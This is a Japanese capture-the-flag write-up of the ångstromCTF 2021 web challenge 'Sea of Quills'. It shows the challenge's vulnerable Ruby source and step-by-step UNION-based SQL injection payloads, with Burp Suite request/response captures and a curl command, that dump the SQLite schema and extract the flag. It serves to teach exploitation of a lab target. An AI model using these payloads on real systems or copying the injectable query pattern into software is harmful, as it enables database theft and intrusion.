ångstromCTF 2021: Sea of Quills
問題
問題文
Come check out our finest selection of quills!
Author: JoshDaBosh
問題概要
Ruby 製の Web アプリケーションフレームワークである sinatra を用いた Web アプリケーションのソースコード (app.rb) と 実際に動作する Web アプリケーションの URL が与えられる.
解答例
指針
解説
与えられたソースコードは以下のようなものであった.
require 'sinatra' require 'sqlite3' set :bind, "0.0.0.0" set :port, 4567 get '/' do db = SQLite3::Database.new "quills.db" @row = db.execute( "select * from quills" ) erb :index end get '/quills' do erb :quills end post '/quills' do db = SQLite3::Database.new "quills.db" cols = params[:cols] lim = params[:limit] off = params[:offset] blacklist = ["-", "/", ";", "'", "\""] blacklist.each { |word| if cols.include? word return "beep boop sqli detected!" end } if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off) return "bad, no quills for you!" end @row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off]) p @row erb :specific end
ソースコードの40行目を見ると, プレースホルダを用いずにユーザーからの入力 (cols, lim, off) を元に SQL クエリを組み立てている.
cols = params[:cols] lim = params[:limit] off = params[:offset] (--snip--) @row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
したがって, SQL injection が出来そうな気持ちになる.
さらにコードを読むと以下の部分で SQL injection 対策らしきものがされていることが分かる.
blacklist = ["-", "/", ";", "'", "\""] blacklist.each { |word| if cols.include? word return "beep boop sqli detected!" end }
UNION 演算子を用いた SQL injection をすれば, 特に上記の制約に引っかからずに SQL injection を行うことが可能である.
以下のような手順で Burp Suite
を用いてブラウザから POST リクエスト (post /quills
) を送ったときの HTTP リクエストをキャプチャしてみる.
Burp Suite
を実行し,Proxy
->Intercept
をクリックIntercept is on
となっていたらIntercept is off
にするOpen browser
をクリックし, ブラウザを起動させるBurp Suite
から起動したブラウザで, POST リクエストを送信Burp Suite
のProxy
->HTTP history
から今送った POST リクエストを探す
すると, 送った POST リクエストとレスポンスのデータが得られる.
送った HTTP リクエストは以下のようなものであった.
POST /quills HTTP/1.1 Host: seaofquills.2021.chall.actf.co Connection: close Content-Length: 41 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://seaofquills.2021.chall.actf.co Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://seaofquills.2021.chall.actf.co/quills Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 limit=100&offset=0&cols=url%2Cdesc%2Cname
このリクエストの末尾の Body 部分を改変してリクエストを送っていく.
与えられたソースコードから RDBMS は sqlite を使っていることが分かるので,
まずは UNION 演算子を用いた SQL injection により, sqlite_master
テーブルの中身を表示させる.
全ての SQLite データベースはデータベースのスキーマを保持する 1 つのスキーマテーブル (sqlite_scheme
)を持ち,
sqlite_master
は sqlite_schema
の別名である.
スキーマテーブルは以下のようなものである.
CREATE TABLE sqlite_master( type text, name text, tbl_name text, rootpage integer, sql text );
UNION 演算子は 2 つの SELECT 文の結果の UNION (和) 操作を行い, どちらか一方の問い合わせ (クエリ) で返されたすべての行を返す.
実行される SQL クエリは以下のようなものであった.
@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])
cols
に * from sqlite_master union select url,desc,name
という文字列を与えれば, 以下のような SQL 文が組み立てられ,
UNION 演算子による SQL injection が成功して, sqlite_master
テーブルの中身を表示できそうに思われる.
select * from sqlite_master union select url,desc,name from quills limit 100 offset 0
Burp Suite
の Repeater
というタブをクリックし HTTP リクエストを送ってみる.
以下のように target host を設定した.
- Host:
seaofquills.2021.chall.actf.co
- Port:
443
さっきキャプチャしたリクエストの末尾の Body 部分だけを改変すればいい. スペースやアスタリスク, カンマなどを URL エンコードして HTTP Request を送ってみる.
- HTTP Request
POST /quills HTTP/1.1 Host: seaofquills.2021.chall.actf.co Connection: close Content-Length: 41 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://seaofquills.2021.chall.actf.co Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://seaofquills.2021.chall.actf.co/quills Accept-Encoding: gzip, deflate Accept-Language: ja,en-US;q=0.9,en;q=0.8 limit=100&offset=0&cols=%2a%20from%20sqlite_master%20union%20select%20url%2Cdesc%2Cname
- HTTP Response
HTTP/1.1 500 Internal Server Error Content-Length: 30 Content-Type: text/html;charset=utf-8 Date: Sun, 11 Apr 2021 06:49:06 GMT Server: Caddy Server: nginx/1.14.1 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Xss-Protection: 1; mode=block Connection: close <h1>Internal Server Error</h1>
サーバーエラーとなった. これは, 2つの select 文で指定してる列 (column) の数が異なっているため UNION 演算子がうまく動作しないためである.
select * from sqlite_master union select url,desc,name from quills limit 100 offset 0
sqlite_master
は以下に示す 5 つの列 (column) があるので今回はこのうち sql, name, tbl_name の 3 つだけ選ぶようにしてみる.
CREATE TABLE sqlite_master( type text, name text, tbl_name text, rootpage integer, sql text );
以下のような POST リクエストを送ればいい.
- HTTP Request (Body 部のみ)
limit=100&offset=0&cols=sql%2Cname%2Ctbl_name%20from%20sqlite_master%20union%20select%20url%2Cdesc%2Cname
- HTTP Response
HTTP/1.1 200 OK Content-Length: 2695 Content-Type: text/html;charset=utf-8 Date: Sun, 11 Apr 2021 06:57:25 GMT Server: Caddy Server: nginx/1.14.1 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Xss-Protection: 1; mode=block Connection: close <!DOCTYPE html> (--snip--) <ul class="list pl0"> <img src="CREATE TABLE flagtable ( flag varchar(30) )" class="w3 h3"> <li class="pb5 pl3">flagtable <ul><li>flagtable</li></ul></li><br />
flag
という列 (column) を持つ flagtable というテーブルが存在することが分かる.
UNION 演算子を用いた SQL injection をもう一度行い, flagtable の flag を表示させてみる. 今度は列 (column) 数が1つしかないので, 以下のようにして数を合わせた.
select flag,1,1 from flagtable union select url,desc,name
- HTTP Request (Body 部のみ)
limit=100&offset=0&cols=flag%2C1%2C1%20from%20flagtable%20union%20select%20url%2Cdesc%2Cname
- HTTP Response
HTTP/1.1 200 OK (--snip--) <img src="actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}" class="w3 h3"> <li class="pb5 pl3">1 <ul><li>1</li></ul></li><br />
flag: actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}
今回は Burp Suite を用いて解いたが他にも様々な解法が考えられる.
例えば curl を使うと以下のようにして flag を得ることができる.
$ curl -s -X POST -d "limit=100&offset=0&cols=flag%2C1%2C1%20from%20flagtable%20union%20select%20url%2Cdesc%2Cname" https://seaofquills.2021.chall.actf.co/quills | grep -oE actf{.*} actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}